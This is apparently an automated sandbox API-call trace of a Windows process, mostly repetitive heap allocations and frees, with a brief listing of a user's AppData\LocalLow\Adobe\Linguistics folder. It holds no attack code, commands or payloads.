[0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.722] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0113.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0113.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.724] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0113.724] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.724] PathFindFileNameW (pszPath="") returned="" [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.725] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.725] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.725] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51098f0 [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51096f8 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51098f0 | out: hHeap=0x5010000) returned 1 [0113.725] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0113.725] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0113.725] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51098f0 [0113.726] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 